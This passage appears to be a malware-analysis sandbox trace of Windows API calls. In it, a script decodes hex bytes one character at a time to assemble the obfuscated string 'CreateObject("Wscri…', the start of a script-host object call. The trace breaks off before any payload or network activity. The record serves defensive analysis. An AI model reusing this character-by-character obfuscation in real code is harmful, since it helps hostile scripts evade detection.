lpWideCharStr="†") returned 1 [0071.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="†", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x86£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2884e1466c8, cchWideChar=1 | out: lpWideCharStr="C") returned 1 [0071.845] VarBstrCat (in: bstrLeft=0x0, bstrRight="C", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.845] VarBstrCat (in: bstrLeft="&H", bstrRight="E4", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.845] VarParseNumFromStr (in: strIn="&HE4", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.845] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e18, cchWideChar=1 | out: lpWideCharStr="ä") returned 1 [0071.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ä", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="䣵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f08, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0071.845] VarBstrCat (in: bstrLeft="C", bstrRight="r", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.845] VarBstrCat (in: bstrLeft="&H", bstrRight="CA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.846] VarParseNumFromStr (in: strIn="&HCA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.846] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="Ê") returned 1 [0071.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ê£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e18, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0071.846] VarBstrCat (in: bstrLeft="Cr", bstrRight="e", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.846] VarBstrCat (in: bstrLeft="&H", bstrRight="C2", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.846] VarParseNumFromStr (in: strIn="&HC2", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.846] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f08, cchWideChar=1 | out: lpWideCharStr="Â") returned 1 [0071.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Â", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0071.846] VarBstrCat (in: bstrLeft="Cre", bstrRight="a", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.846] VarBstrCat (in: bstrLeft="&H", bstrRight="E8", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.846] VarParseNumFromStr (in: strIn="&HE8", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.847] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e18, cchWideChar=1 | out: lpWideCharStr="è") returned 1 [0071.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="è", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="裵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f08, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0071.847] VarBstrCat (in: bstrLeft="Crea", bstrRight="t", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.847] VarBstrCat (in: bstrLeft="&H", bstrRight="CA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.847] VarParseNumFromStr (in: strIn="&HCA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.847] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="Ê") returned 1 [0071.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ê£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e18, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0071.847] VarBstrCat (in: bstrLeft="Creat", bstrRight="e", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.847] VarBstrCat (in: bstrLeft="&H", bstrRight="9E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.847] VarParseNumFromStr (in: strIn="&H9E", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.847] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f08, cchWideChar=1 | out: lpWideCharStr="ž") returned 1 [0071.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ž", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x9e£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="O") returned 1 [0071.848] VarBstrCat (in: bstrLeft="Create", bstrRight="O", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.848] VarBstrCat (in: bstrLeft="&H", bstrRight="C4", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.848] VarParseNumFromStr (in: strIn="&HC4", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.848] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e18, cchWideChar=1 | out: lpWideCharStr="Ä") returned 1 [0071.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ä", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ä£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f08, cchWideChar=1 | out: lpWideCharStr="b") returned 1 [0071.848] VarBstrCat (in: bstrLeft="CreateO", bstrRight="b", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.848] VarBstrCat (in: bstrLeft="&H", bstrRight="D4", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.848] VarParseNumFromStr (in: strIn="&HD4", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.848] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="Ô") returned 1 [0071.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ô", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ô£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e18, cchWideChar=1 | out: lpWideCharStr="j") returned 1 [0071.849] VarBstrCat (in: bstrLeft="CreateOb", bstrRight="j", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.849] VarBstrCat (in: bstrLeft="&H", bstrRight="CA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.849] VarParseNumFromStr (in: strIn="&HCA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.849] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f08, cchWideChar=1 | out: lpWideCharStr="Ê") returned 1 [0071.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ê£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0071.849] VarBstrCat (in: bstrLeft="CreateObj", bstrRight="e", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.849] VarBstrCat (in: bstrLeft="&H", bstrRight="C6", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.849] VarParseNumFromStr (in: strIn="&HC6", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.849] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e18, cchWideChar=1 | out: lpWideCharStr="Æ") returned 1 [0071.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Æ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Æ£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f08, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0071.850] VarBstrCat (in: bstrLeft="CreateObje", bstrRight="c", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.850] VarBstrCat (in: bstrLeft="&H", bstrRight="E8", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.850] VarParseNumFromStr (in: strIn="&HE8", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.850] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="è") returned 1 [0071.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="è", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="裵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e18, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0071.850] VarBstrCat (in: bstrLeft="CreateObjec", bstrRight="t", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.850] VarBstrCat (in: bstrLeft="&H", bstrRight="50", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.850] VarParseNumFromStr (in: strIn="&H50", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.850] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f08, cchWideChar=1 | out: lpWideCharStr="P") returned 1 [0071.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="(") returned 1 [0071.851] VarBstrCat (in: bstrLeft="CreateObject", bstrRight="(", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.851] VarBstrCat (in: bstrLeft="&H", bstrRight="44", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.851] VarParseNumFromStr (in: strIn="&H44", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.851] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2884e1466c8, cchWideChar=1 | out: lpWideCharStr="D") returned 1 [0071.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f08, cchWideChar=1 | out: lpWideCharStr="\"") returned 1 [0071.851] VarBstrCat (in: bstrLeft="CreateObject(", bstrRight="\"", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.851] VarBstrCat (in: bstrLeft="&H", bstrRight="AE", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.851] VarParseNumFromStr (in: strIn="&HAE", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.851] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885d123378, cchWideChar=1 | out: lpWideCharStr="®") returned 1 [0071.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="®", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="®£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.852] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2884e1466c8, cchWideChar=1 | out: lpWideCharStr="W") returned 1 [0071.852] VarBstrCat (in: bstrLeft="CreateObject(\"", bstrRight="W", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.852] VarBstrCat (in: bstrLeft="&H", bstrRight="E6", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.852] VarParseNumFromStr (in: strIn="&HE6", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.852] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.852] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="æ") returned 1 [0071.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="æ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="棵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.852] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885d123378, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0071.852] VarBstrCat (in: bstrLeft="CreateObject(\"W", bstrRight="s", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.852] VarBstrCat (in: bstrLeft="&H", bstrRight="C6", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.852] VarParseNumFromStr (in: strIn="&HC6", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.852] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.852] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f08, cchWideChar=1 | out: lpWideCharStr="Æ") returned 1 [0071.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Æ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Æ£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.852] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0071.853] VarBstrCat (in: bstrLeft="CreateObject(\"Ws", bstrRight="c", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.853] VarBstrCat (in: bstrLeft="&H", bstrRight="E4", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.853] VarParseNumFromStr (in: strIn="&HE4", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.853] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.853] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2884e1466c8, cchWideChar=1 | out: lpWideCharStr="ä") returned 1 [0071.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ä", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="䣵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.853] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f08, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0071.853] VarBstrCat (in: bstrLeft="CreateObject(\"Wsc", bstrRight="r", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.853] VarBstrCat (in: bstrLeft="&H", bstrRight="D2", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.853] VarParseNumFromStr (in: strIn="&HD2", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.853] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.853] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885d123378, cchWideChar=1 | out: lpWideCharStr="Ò") returned 1 [0071.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ò", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ò£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.853] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2884e1466c8, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0071.853] VarBstrCat (in: bstrLeft="CreateObject(\"Wscr", bstrRight="i", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.854] VarBstrCat (in: bstrLeft="&H", bstrRight="E0", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.854] VarParseNumFromStr (in: strIn="&HE0", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.854] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="à") returned 1 [0071.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="à", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 